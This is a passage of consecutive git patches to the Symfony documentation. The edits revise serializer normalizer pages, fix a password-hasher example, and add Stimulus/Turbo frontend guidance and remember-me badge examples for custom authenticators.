-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="get_set_method_normalizer" class="Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer">
-                    <tag name="serializer.normalizer"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
-
-            $services->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
-                ->tag('serializer.normalizer')
-            ;
-        };
-
 .. _serializer-using-serialization-groups-annotations:
 
 Using Serialization Groups Annotations

From 8a44f4ac38655d6b24231ffec8eedd909d0e6899 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 5 Jan 2022 10:23:41 +0100
Subject: [PATCH 1578/5766] Remove redundant normalizers document

---
 components/serializer.rst  | 12 ++++++------
 serializer.rst             |  1 -
 serializer/normalizers.rst | 25 -------------------------
 3 files changed, 6 insertions(+), 32 deletions(-)
 delete mode 100644 serializer/normalizers.rst

diff --git a/components/serializer.rst b/components/serializer.rst
index 2e43ac571f5..6b6eec10201 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -693,13 +693,13 @@ When serializing, you can set a callback to format a specific object property::
 Normalizers
 -----------
 
-Normalizers turn **object** into **array** and vice versa. They implement
-:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`
-for normalize (object to array) and
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizableInterface` for denormalize
-(array to object).
+Normalizers turn **objects** into **arrays** and vice versa. They implement
+:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface` for
+normalizing (object to array) and
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface` for
+denormalizing (array to object).
 
-You can add new normalizers to a Serializer instance by using its first constructor argument::
+Normalizers are enabled in the serializer passing them as its first argument::
 
     use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
     use Symfony\Component\Serializer\Serializer;
diff --git a/serializer.rst b/serializer.rst
index 4216d619c15..ce74573ae6a 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -269,7 +269,6 @@ take a look at how this bundle works.
 .. toctree::
     :maxdepth: 1
 
-    serializer/normalizers
     serializer/custom_encoders
     serializer/custom_normalizer
 
diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst
deleted file mode 100644
index 4e0b63a2ee6..00000000000
--- a/serializer/normalizers.rst
+++ /dev/null
@@ -1,25 +0,0 @@
-.. index::
-   single: Serializer, Normalizers
-
-Normalizers
-===========
-
-Normalizers turn **objects** into **arrays** and vice versa. They implement
-:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface` for
-normalizing (object to array) and
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface` for
-denormalizing (array to object).
-
-Normalizers are enabled in the serializer passing them as its first argument::
-
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $normalizers = [new ObjectNormalizer()];
-    $serializer = new Serializer($normalizers);
-
-Built-in Normalizers
---------------------
-
-Symfony includes several types of :ref:`built-in normalizers <component-serializer-normalizers>`
-but you can also :doc:`create your own normalizer </serializer/custom_normalizer>`.

From 10bc1f2ef1f1038c496deef409ff03decc754965 Mon Sep 17 00:00:00 2001
From: berbeflo <48961978+berbeflo@users.noreply.github.com>
Date: Fri, 7 Jan 2022 09:44:14 +0100
Subject: [PATCH 1579/5766] fix Password Hasher php-standalone example

the php-standalone example for Password Hasher had a configuration for User twice, while the comment and other examples indicated, the second should've been a configuration for PasswordAuthenticatedUserInterface
---
 security/passwords.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 6bf37d51806..e30e517f895 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -101,7 +101,7 @@ optionally some *algorithm options*:
             User::class => ['algorithm' => 'auto'],
 
             // auto hasher with custom options for all PasswordAuthenticatedUserInterface instances
-            User::class => [
+            PasswordAuthenticatedUserInterface::class => [
                 'algorithm' => 'auto',
                 'cost' => 15,
             ],

From e57adef60deb1445cc056494409324607649df37 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 7 Jan 2022 13:13:36 +0100
Subject: [PATCH 1580/5766] Add the redirection for the removed page

---
 _build/redirection_map | 1 +
 1 file changed, 1 insertion(+)

diff --git a/_build/redirection_map b/_build/redirection_map
index 4ae8f1ddfcf..bd708c379d4 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -513,3 +513,4 @@
 /testing/functional_tests_assertions /testing#testing-application-assertions
 /components https://symfony.com/components
 /components/index https://symfony.com/components
+/serializer/normalizers /components/serializer#normalizers

From 4c5ed02bb92f91d30fcf4ae71510935b0c34a555 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Thu, 23 Dec 2021 20:04:59 -0500
Subject: [PATCH 1581/5766] Adding docs for Stimulus, Turbo & Symfony UX

---
 .github/workflows/ci.yaml                |   2 +-
 _build/redirection_map                   |   1 +
 frontend.rst                             |   3 +-
 frontend/encore/installation.rst         |  55 +++++--
 frontend/encore/page-specific-assets.rst |  27 ----
 frontend/encore/simple-example.rst       | 189 +++++++++++++++++++----
 6 files changed, 202 insertions(+), 75 deletions(-)
 delete mode 100644 frontend/encore/page-specific-assets.rst

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 6c10a4eaf9b..6750bd8eb20 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -118,7 +118,7 @@ jobs:
 
           - name: Install dependencies
             if: ${{ steps.find-files.outputs.files }}
-            run: composer create-project symfony-tools/code-block-checker _checker
+            run: composer create-project symfony-tools/code-block-checker:@dev _checker
 
           - name: Install test application
             if: ${{ steps.find-files.outputs.files }}
diff --git a/_build/redirection_map b/_build/redirection_map
index 1acae2a1667..e7146d2fc2d 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -513,6 +513,7 @@
 /components/stopwatch https://github.com/symfony/stopwatch
 /service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
 /frontend/encore/shared-entry /frontend/encore/split-chunks
+/frontend/encore/page-specific-assets /frontend/encore/simple-example#page-specific-javascript-or-css
 /testing/functional_tests_assertions /testing#testing-application-assertions
 /components https://symfony.com/components
 /components/index https://symfony.com/components
diff --git a/frontend.rst b/frontend.rst
index 30202523b41..4272cb8338d 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -40,7 +40,7 @@ Getting Started
 ...............
 
 * :doc:`Installation </frontend/encore/installation>`
-* :doc:`First Example </frontend/encore/simple-example>`
+* :doc:`Using Webpack Encore </frontend/encore/simple-example>`
 
 Adding more Features
 ....................
@@ -67,7 +67,6 @@ Guides
 ......
 
 * :doc:`Using Bootstrap CSS & JS </frontend/encore/bootstrap>`
-* :doc:`Creating Page-Specific CSS/JS </frontend/encore/page-specific-assets>`
 * :doc:`jQuery and Legacy Applications </frontend/encore/legacy-applications>`
 * :doc:`Passing Information from Twig to JavaScript </frontend/encore/server-data>`
 * :doc:`webpack-dev-server and Hot Module Replacement (HMR) </frontend/encore/dev-server>`
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index c53dddd5d3f..eb4b82e8b45 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -82,15 +82,13 @@ is the main config file for both Webpack and Webpack Encore:
         /*
          * ENTRY CONFIG
          *
-         * Add 1 entry for each "page" of your app
-         * (including one that's included on every page - e.g. "app")
-         *
          * Each entry will result in one JavaScript file (e.g. app.js)
          * and one CSS file (e.g. app.css) if your JavaScript imports CSS.
          */
         .addEntry('app', './assets/app.js')
-        //.addEntry('page1', './assets/page1.js')
-        //.addEntry('page2', './assets/page2.js')
+
+        // enables the Symfony UX Stimulus bridge (used in assets/bootstrap.js)
+        .enableStimulusBridge('./assets/controllers.json')
 
         // When enabled, Webpack "splits" your files into smaller pieces for greater optimization.
         .splitEntryChunks()
@@ -112,6 +110,10 @@ is the main config file for both Webpack and Webpack Encore:
         // enables hashed filenames (e.g. app.abc123.css)
         .enableVersioning(Encore.isProduction())
 
+        .configureBabel((config) => {
+            config.plugins.push('@babel/plugin-proposal-class-properties');
+        })
+
         // enables @babel/preset-env polyfills
         .configureBabelPresetEnv((config) => {
             config.useBuiltIns = 'usage';
@@ -124,16 +126,15 @@ is the main config file for both Webpack and Webpack Encore:
         // uncomment if you use TypeScript
         //.enableTypeScriptLoader()
 
+        // uncomment if you use React
+        //.enableReactPreset()
+
         // uncomment to get integrity="..." attributes on your script & link tags
         // requires WebpackEncoreBundle 1.4 or higher
         //.enableIntegrityHashes(Encore.isProduction())
 
         // uncomment if you're having problems with a jQuery plugin
         //.autoProvidejQuery()
-
-        // uncomment if you use API Platform Admin (composer require api-admin)
-        //.enableReactPreset()
-        //.addEntry('admin', './assets/admin.js')
     ;
 
     module.exports = Encore.getWebpackConfig();
@@ -154,10 +155,8 @@ Next, open the new ``assets/app.js`` file which contains some JavaScript code
     // any CSS you import will output into a single css file (app.css in this case)
     import './styles/app.css';
 
-    // Need jQuery? Install it with "yarn add jquery"(or "npm install jquery"), then uncomment to import it.
-    // import $ from 'jquery';
-
-    console.log('Hello Webpack Encore! Edit me in assets/app.js');
+    // start the Stimulus application
+    import './bootstrap';
 
 And the new ``assets/styles/app.css`` file:
 
@@ -168,7 +167,37 @@ And the new ``assets/styles/app.css`` file:
         background-color: lightgray;
     }
 
+You should also add an ``assets/bootstrap.js`` file, which initializes Stimulus:
+a system that you'll learn about soon:
+
+.. code-block:: javascript
+
+    // assets/bootstrap.js
+    import { startStimulusApp } from '@symfony/stimulus-bridge';
+
+    // Registers Stimulus controllers from controllers.json and in the controllers/ directory
+    export const app = startStimulusApp(require.context(
+        '@symfony/stimulus-bridge/lazy-controller-loader!./controllers',
+        true,
+        /\.(j|t)sx?$/
+    ));
+
+    // register any custom, 3rd party controllers here
+    // app.register('some_controller_name', SomeImportedController);
+
+And finally, create an ``assets/controllers.json`` file, which also fits into
+the Stimulus system:
+
+```json
+{
+    "controllers": [],
+    "entrypoints": []
+}
+```
+
 You'll customize and learn more about these files in :doc:`/frontend/encore/simple-example`.
+When you execute Encore, it will ask you to install a few more dependencies based
+on which features of Encore you have enabled.
 
 .. caution::
 
diff --git a/frontend/encore/page-specific-assets.rst b/frontend/encore/page-specific-assets.rst
deleted file mode 100644
index 8f03bfb5877..00000000000
--- a/frontend/encore/page-specific-assets.rst
+++ /dev/null
@@ -1,27 +0,0 @@
-Creating Page-Specific CSS/JS
-=============================
-
-If you're creating a single page app (SPA), then you probably only need to define
-*one* entry in ``webpack.config.js``. But if you have multiple pages, you might
-want page-specific CSS and JavaScript.
-
-To learn how to set this up, see the :ref:`multiple-javascript-entries` example.
-
-Multiple Entries Per Page?
---------------------------
-
-Typically, you should include only *one* JavaScript entry per page. Think of the
-checkout page as its own "app", where ``checkout.js`` includes all the functionality
-you need.
-
-However, it's pretty common to need to include some global JavaScript and CSS on
-every page. For that reason, it usually makes sense to have one entry (e.g. ``app``)
-that contains this global code (both JavaScript & CSS) and is included on every
-page (i.e. it's included in the *layout* of your app). This means that you will
-always have one, global entry on every page (e.g. ``app``) and you *may* have one
-page-specific JavaScript and CSS file from a page-specific entry (e.g. ``checkout``).
-
-.. tip::
-
-    Be sure to use :doc:`split chunks </frontend/encore/split-chunks>`
-    to avoid duplicate and shared code between your entry files.
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 8fa55913d69..64115878107 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -1,11 +1,14 @@
 Encore: Setting up your Project
 ===============================
 
-After :doc:`installing Encore </frontend/encore/installation>`, your app already has one
-CSS and one JS file, organized into an ``assets/`` directory:
+After :doc:`installing Encore </frontend/encore/installation>`, your app already
+has a few files, organized into an ``assets/`` directory:
 
 * ``assets/app.js``
+* ``assets/bootstrap.js``
+* ``assets/controllers.json``
 * ``assets/styles/app.css``
+* ``assets/controllers/hello_controller.js``
 
 With Encore, think of your ``app.js`` file like a standalone JavaScript
 application: it will *require* all of the dependencies it needs (e.g. jQuery or React),
@@ -19,11 +22,14 @@ application: it will *require* all of the dependencies it needs (e.g. jQuery or
 
     import './styles/app.css';
 
-Encore's job (via Webpack) is simple: to read and follow *all* of the ``require()``
+Encore's job (via Webpack) is simple: to read and follow *all* of the ``import``
 statements and create one final ``app.js`` (and ``app.css``) that contains *everything*
 your app needs. Encore can do a lot more: minify files, pre-process Sass/LESS,
 support React, Vue.js, etc.
 
+The other files - ``bootstrap.js``, ``controllers.json`` and ``hello_controller.js``
+relate to a topic you'll learn about soon: `Stimulus & Symfony UX`_.
+
 Configuring Encore/Webpack
 --------------------------
 
@@ -59,27 +65,24 @@ To build the assets, run the following if you use the Yarn package manager:
 
 .. code-block:: terminal
 
-    # compile assets once
-    $ yarn encore dev
-
-    # or, recompile assets automatically when files change
-    $ yarn encore dev --watch
+    # compile assets and automatically re-compile when files change
+    $ yarn watch
 
-    # on deploy, create a production build
-    $ yarn encore production
+    # if using npm, use "npm run" and then any of these commands
+    $ npm run watch
 
-If you use the npm package manager, run the following commands instead:
-
-.. code-block:: terminal
+    # or, run a dev-server that can sometimes update your code without refreshing the page
+    $ yarn dev-server
 
     # compile assets once
-    $ npm run dev
-
-    # or, recompile assets automatically when files change
-    $ npm run watch
+    $ yarn dev
 
     # on deploy, create a production build
-    $ npm run build
+    $ yarn build
+
+All of these commands - e.g. ``dev`` or ``watch`` - are shortcuts that are defined
+in your ``package.json`` file. If you use the npm package manager, replace ``yarn``
+with ``npm run``.
 
 .. note::
 
@@ -91,8 +94,15 @@ Congrats! You now have three new files:
 * ``public/build/app.css`` (holds all the CSS for your "app" entry)
 * ``public/build/runtime.js`` (a file that helps Webpack do its job)
 
-Next, include these in your base layout file. Two Twig helpers from WebpackEncoreBundle
-can do most of the work for you:
+.. note::
+
+    In reality, you probably have a few *more* files in ``public/build``. Some of
+    these are due to :doc:`code splitting </frontend/encore/split-chunks>`, an optimization
+    that helps performance, but doesn't affect how things work. Others help Encore
+    do its work.
+
+Next, to include these in your base layout, you can leverage two Twig helpers from
+WebpackEncoreBundle:
 
 .. code-block:: html+twig
 
@@ -130,7 +140,7 @@ That's it! When you refresh your page, all of the JavaScript from
 be executed. All the CSS files that were required will also be displayed.
 
 The ``encore_entry_link_tags()`` and ``encore_entry_script_tags()`` functions
-read from an ``entrypoints.json`` file that's generated by Encore to know the exact
+read from a ``public/build/entrypoints.json`` file that's generated by Encore to know the exact
 filename(s) to render. This file is *especially* useful because you can
 :doc:`enable versioning </frontend/encore/versioning>` or
 :doc:`point assets to a CDN </frontend/encore/cdn>` without making *any* changes to your
@@ -155,7 +165,7 @@ Requiring JavaScript Modules
 ----------------------------
 
 Webpack is a module bundler, which means that you can ``import`` other JavaScript
-files. First, create a file that exports a function:
+files. First, create a file that exports a function, class or any other value:
 
 .. code-block:: javascript
 
@@ -196,14 +206,121 @@ That's it! If you previously ran ``encore dev --watch``, your final, built files
 have already been updated: jQuery and ``greet.js`` have been automatically
 added to the output file (``app.js``). Refresh to see the message!
 
+Stimulus & Symfony UX
+---------------------
+
+As simple as the above example is, instead of building your application inside of
+``app.js``, we recommend `Stimulus`_: a small JavaScript framework that makes it
+easy to attach behavior to HTML. It's powerful, and you will love it! Symfony
+even provides packages to add more features to Stimulus. These are called the
+`Symfony UX Packages`_.
+
+If you followed the setup instructions, you should already have Stimulus installed
+and ready to go! In fact, that's the purpose of the ``assets/bootstrap.js`` file:
+to initialize Stimulus and automatically load any "controllers" from the
+``assets/controllers/`` directory.
+
+Let's look at a simple Stimulus example. In a Twig template, suppose you have:
+
+.. code-block:: twig
+
+    <div {{ stimulus_controller('say-hello') }}>
+        <input type="text" {{ stimulus_target('say-hello', 'name') }}>
+
+        <button {{ stimulus_action('say-hello', 'greet') }}>
+            Greet
+        </button>
+
+        <div {{ stimulus_target('say-hello', 'output') }}></div>
+    </div>
+
+The ``stimulus_controller('say-hello')`` renders a ``data-controller="say-hello"``
+attribute. Whenever this element appears on the page, Stimulus will automatically
+look for and initialize a controller called ``say-hello-controller.js``. Create
+that in your ``assets/controllers/`` directory:
+
+.. code-block:: javascript
+
+    // assets/controllers/say-hello-controller.js
+    import { Controller } from '@hotwired/stimulus';
+
+    export default class extends Controller {
+        static targets = ['name', 'output']
+
+        greet() {
+          this.outputTarget.textContent = `Hello, ${this.nameTarget.value}!`
+        }
+    }
+
+The result? When you click the "Greet" button, it prints your name! And if
+more ``{{ stimulus_controller('say-hello') }}`` elements are added to the page - like
+via Ajax - those will instantly work: no need to reinitialize anything.
+
+Ready to learn more about Stimulus?
+
+* Read the `Stimulus Documentation`_
+* Check out the `Symfony UX Packages`_
+* Learn more about the `Symfony Stimulus Bridge`_ - including the superpower of
+  making your controllers load lazily!
+
+  .. admonition:: Screencast
+      :class: screencast
+
+      Or check out the `Stimulus Screencast`_ on SymfonyCasts.
+
+Turbo: Lightning Fast Single-Page-Application Experience
+--------------------------------------------------------
+
+Symfony comes with tight integration with another JavaScript library called `Turbo`_.
+Turbo automatically transforms all link clicks and form submits into an Ajax call,
+with zero (or nearly zero) changes to your Symfony code! The result? You get the
+speed of a single page application without having to write any JavaScript.
+
+To learn more, check out the `symfony/ux-turbo`_ package.
+
+.. admonition:: Screencast
+    :class: screencast
+
+    Or check out the `Turbo Screencast`_ on SymfonyCasts.
+
+Page-Specific JavaScript or CSS
+-------------------------------
+
+So far, you only have one final JavaScript file: ``app.js``. Encore may be split
+into multiple files for performance (see :doc:`split chunks </frontend/encore/split-chunks>`),
+but all of that code is still downloaded on every page.
+
+What if you have some extra JavaScript or CSS (e.g. for performance) that you only
+want to include on *certain* pages?
+
+Lazy Controllers
+~~~~~~~~~~~~~~~~
+
+One very nice solution if you're using Stimulus is to leverage `lazy controllers`_.
+To activate this on a controller, add a special ``stimulusFetch: 'lazy'`` above
+your controller class:
+
+.. code-block:: javascript
+
+    // assets/controllers/lazy-example-controller.js
+    import { Controller } from '@hotwired/stimulus';
+
+    /* stimulusFetch: 'lazy' */
+    export default class extends Controller {
+        // ...
+    }
+
+That's it! This controller's code - and any modules that it imports - will be
+split to *separate* files by Encore. Then, those files won't be downloaded until
+the moment a matching element (e.g. ``<div data-controller="lazy-example">``)
+appears on the page!
+
 .. _multiple-javascript-entries:
 
-Page-Specific JavaScript or CSS (Multiple Entries)
---------------------------------------------------
+Multiple Entries
+~~~~~~~~~~~~~~~~
 
-So far, you only have one final JavaScript file: ``app.js``. For small applications
-or SPA's (Single Page Applications), that might be fine! However, as your app grows,
-you may want to have page-specific JavaScript or CSS (e.g. checkout, account,
+Another option is to create page-specific JavaScript or CSS (e.g. checkout, account,
 etc.). To handle this, create a new "entry" JavaScript file for each page:
 
 .. code-block:: javascript
@@ -234,7 +351,7 @@ and restart Encore:
 .. code-block:: terminal
 
     # if you use the Yarn package manager
-    $ yarn encore dev --watch
+    $ yarn watch
 
     # if you use the npm package manager
     $ npm run watch
@@ -263,10 +380,9 @@ you need them:
 
 Now, the checkout page will contain all the JavaScript and CSS for the ``app`` entry
 (because this is included in ``base.html.twig`` and there is the ``{{ parent() }}`` call)
-*and* your ``checkout`` entry.
-
-See :doc:`/frontend/encore/page-specific-assets` for more details. To avoid duplicating
-the same code in different entry files, see :doc:`/frontend/encore/split-chunks`.
+*and* your ``checkout`` entry. With this, JavaScript & CSS needed for every page
+can live inside the ``app`` entry and code needed only for the checkout page can
+live inside ``checkout``.
 
 Using Sass/LESS/Stylus
 ----------------------
@@ -347,3 +463,12 @@ Encore supports many more features! For a full list of what you can do, see
 
 .. _`Encore's index.js file`: https://github.com/symfony/webpack-encore/blob/master/index.js
 .. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration
+.. _`Stimulus`: https://stimulus.hotwired.dev/
+.. _`Stimulus Documentation`: https://stimulus.hotwired.dev/handbook/introduction
+.. _`Symfony UX Packages`: https://github.com/symfony/ux
+.. _`Symfony Stimulus Bridge`: https://github.com/symfony/stimulus-bridge
+.. _`Turbo`: https://turbo.hotwired.dev/
+.. _`symfony/ux-turbo`: https://github.com/symfony/ux/tree/2.x/src/Turbo
+.. _`Stimulus Screencast`: https://symfonycasts.com/screencast/stimulus
+.. _`Turbo Screencast`: https://symfonycasts.com/screencast/turbo
+.. _`lazy controllers`: https://github.com/symfony/stimulus-bridge#lazy-controllers

From 7c2612886c1196292c53d54082c1951db020c705 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sun, 5 Dec 2021 13:36:11 -0400
Subject: [PATCH 1582/5766] [Security] Add remember me description when using
 custom authenticator

---
 security/remember_me.rst | 39 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index b14b012202f..ccf810bb34b 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -354,3 +354,42 @@ service you created before:
                     ->tokenProvider(DoctrineTokenProvider::class)
             ;
         };
+
+Activating Remember Me When Using a Custom Authenticator
+--------------------------------------------------------
+
+When you use a custom authenticator, you must add a ``RememberMeBadge`` to the ``Passport``
+for the remember me function to be activated. Without the badge, remember me will not be
+active, regardless of any other remember me settings. 
+
+For example::
+
+    // src/Service/LoginAuthenticator.php
+    namespace App\Service;
+
+    // ...
+    use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\RememberMeBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
+    use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
+
+    class LoginAuthenticator extends AbstractAuthenticator
+    {
+        public function authenticate(Request $request): PassportInterface
+        {
+            $password = $request->request->get('password');
+            $username = $request->request->get('username');
+            $csrfToken = $request->request->get('csrf_token');
+
+            return new Passport(
+                new UserBadge($username),
+                new PasswordCredentials($password),
+                [
+                    new CsrfTokenBadge('login', $csrfToken),
+                    new RememberMeBadge(),
+                ]
+            );
+        }
+    }

From 09b9115337070d1adb69c22eaffa46c635da17d5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 7 Jan 2022 15:54:35 +0100
Subject: [PATCH 1583/5766] Minor tweaks

---
 security/remember_me.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 8707ee9f1f7..8ba3ede9257 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -358,9 +358,10 @@ service you created before:
 Activating Remember Me When Using a Custom Authenticator
 --------------------------------------------------------
 
-When you use a custom authenticator, you must add a ``RememberMeBadge`` to the ``Passport``
-for the remember me function to be activated. Without the badge, remember me will not be
-active, regardless of any other remember me settings. 
+When you use a :doc:`custom authenticator </security/custom_authenticator>`, you
+must add a ``RememberMeBadge`` to the ``Passport`` for the "Remember Me" function
+to be activated. Without the badge, "Remember Me" will not be active, regardless
+of any other "Remember Me" settings.
 
 For example::
 

From d36b9497329a0b105b0a500e2a85af66a1ac61b2 Mon Sep 17 00:00:00 2001
From: Caliendo Julien <34681928+caliendojulien@users.noreply.github.com>
Date: Tue, 5 Oct 2021 23:36:33 +0200
Subject: [PATCH 1584/5766] Update remember_me.rst

Add some line to the Authenticator to add a RememberMeBadge to the Passport returned
---
 security/remember_me.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 8ba3ede9257..6c39ebc8739 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -167,6 +167,29 @@ this:
 The user will then automatically be logged in on subsequent visits while
 the cookie remains valid.
 
+Add the RememberMeBadge() to the Passport
+-----------------------------------------
+After uncommenting the login template and add some lines in the firewall configuration, the last thing to do is to add a new RememberMeBadge to the Password in the Authenticator.
+
+    // src/Security/Authenticator.php
+    // ...
+    
+    public function authenticate(Request $request): PassportInterface
+    {
+        $email = $request->request->get('email', '');
+
+        $request->getSession()->set(Security::LAST_USERNAME, $email);
+
+        return new Passport(
+            new UserBadge($email),
+            new PasswordCredentials($request->request->get('password', '')),
+            [
+                new CsrfTokenBadge('authenticate', $request->request->get('_csrf_token')),
+                new RememberMeBadge(),
+            ]
+        );
+    }
+
 Forcing the User to Re-Authenticate before Accessing certain Resources
 ----------------------------------------------------------------------
 

From 2df227596ef4e391ba2065f387ec4ab29bede6ec Mon Sep 17 00:00:00 2001
From: Paul Rijke <paul@rijke.org>
Date: Thu, 24 Jun 2021 17:04:52 +0200
Subject: [PATCH 1585/5766] Added the way to activate remember me in the new
 authentication system

I had to search a while for myself not understanding why I did not have a REMEMBERME cookie when I activated the new system. So maybe handy to add it.
---
 security/remember_me.rst | 37 ++++++++++++++++++-------------------
 1 file changed, 18 insertions(+), 19 deletions(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 6c39ebc8739..7b527d69ca2 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -169,26 +169,25 @@ the cookie remains valid.
 
 Add the RememberMeBadge() to the Passport
 -----------------------------------------
-After uncommenting the login template and add some lines in the firewall configuration, the last thing to do is to add a new RememberMeBadge to the Password in the Authenticator.
 
-    // src/Security/Authenticator.php
-    // ...
-    
-    public function authenticate(Request $request): PassportInterface
-    {
-        $email = $request->request->get('email', '');
-
-        $request->getSession()->set(Security::LAST_USERNAME, $email);
-
-        return new Passport(
-            new UserBadge($email),
-            new PasswordCredentials($request->request->get('password', '')),
-            [
-                new CsrfTokenBadge('authenticate', $request->request->get('_csrf_token')),
-                new RememberMeBadge(),
-            ]
-        );
-    }
+Beware that in the new Authenitaction System you have to set the RememberMeBadge()
+in the authenticate method of the authenticator, like::
+
+     public function authenticate(Request $request): PassportInterface
+        {
+            $email = $request->request->get('email', '');
+
+            $request->getSession()->set(Security::LAST_USERNAME, $email);
+
+            return new Passport(
+                new UserBadge($email),
+                new PasswordCredentials($request->request->get('password', '')),
+                [
+                    new CsrfTokenBadge('authenticate', $request->get('_csrf_token')),
+                    new RememberMeBadge(),
+                ]
+            );
+        }
 
 Forcing the User to Re-Authenticate before Accessing certain Resources
 ----------------------------------------------------------------------

From d5cbaf43d252625341a734730fe4888adace9b36 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sat, 8 Jan 2022 00:39:06 +0100
Subject: [PATCH 1586/5766] Reintroduce removed note

---
 components/serializer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index d6fc7ba2fc3..5f8465b9194 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -908,6 +908,11 @@ The Serializer component provides several built-in normalizers:
 
     The ``UidNormalizer`` normalization formats were introduced in Symfony 5.3.
 
+.. note::
+
+    You can also create your own Normalizer to use another structure. Read more at
+    :doc:`/serializer/custom_normalizer`.
+
 Certain normalizers are enabled by default when using the Serializer component
 in a Symfony application, additional ones can be enabled by tagging them with
 :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`.

From 12fcb6a34d9ef22b09f421e19d4871e81bd04149 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Malte=20Schl=C3=BCter?= <malte.schlueter@qossmic.com>
Date: Sat, 8 Jan 2022 17:41:23 +0100
Subject: [PATCH 1587/5766] [Security] Add deprecation information for
 is_anonymous

---
 security/expressions.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index c1bc9717a70..88bebd5dc07 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -24,7 +24,7 @@ accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
         public function index(): Response
         {
             $this->denyAccessUnlessGranted(new Expression(
-                '"ROLE_ADMIN" in role_names or (not is_anonymous() and user.isSuperAdmin())'
+                '"ROLE_ADMIN" in role_names or (is_authenticated() and user.isSuperAdmin())'
             ));
 
             // ...
@@ -78,6 +78,11 @@ Additionally, you have access to a number of functions inside the expression:
     equivalent to using the :ref:`isGranted() method <security-isgranted>`
     from the security service.
 
+.. deprecated:: 5.4
+
+   The ``is_anonymous()`` function is
+   deprecated since Symfony 5.4.
+
 .. sidebar:: ``is_remember_me()`` is different than checking ``IS_AUTHENTICATED_REMEMBERED``
 
     The ``is_remember_me()`` and ``is_fully_authenticated()`` functions are *similar*

From 0c7a542bab317ac560533863ebf0a2d2935c9390 Mon Sep 17 00:00:00 2001
From: babache <babache42@hotmail.com>
Date: Sun, 9 Jan 2022 12:11:22 +0100
Subject: [PATCH 1588/5766] Remove duplicate line

Remove line 325 :
use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
Same 324
---
 security/custom_authenticator.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 83aeee5cda7..fc2487c0caf 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
